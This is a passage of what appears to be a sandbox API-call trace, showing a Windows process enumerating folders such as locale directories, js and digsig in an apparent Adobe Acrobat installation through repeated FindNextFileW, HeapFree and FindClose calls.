ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0185.192] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.192] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0185.192] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.192] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0185.192] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.192] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0185.193] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.193] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0185.193] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.193] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0185.193] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.193] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0185.193] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.193] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0185.194] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.194] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0185.194] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0185.194] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.194] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xce0d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0185.195] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.195] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0185.195] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0185.195] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.197] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1 [0185.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.198] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0185.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.198] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0185.198] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0185.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.198] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig", cAlternateFileName="")) returned 1 [0185.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.198] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0185.199] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.199] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0185.199] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0185.199] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.199] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0185.200] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0185.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.200] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0185.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.631] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0185.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.631] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0185.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.632] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0185.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.632] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0185.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.632] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0185.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.633] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0185.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.633] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0185.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.634] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0185.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.634] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0185.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.634] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0185.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.635] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0185.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.635] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0185.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.635] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0185.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.636] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0185.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.636] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0185.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.636] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0185.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.637] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0185.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.637] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0185.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.637] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0185.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.638] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0185.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.638] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, 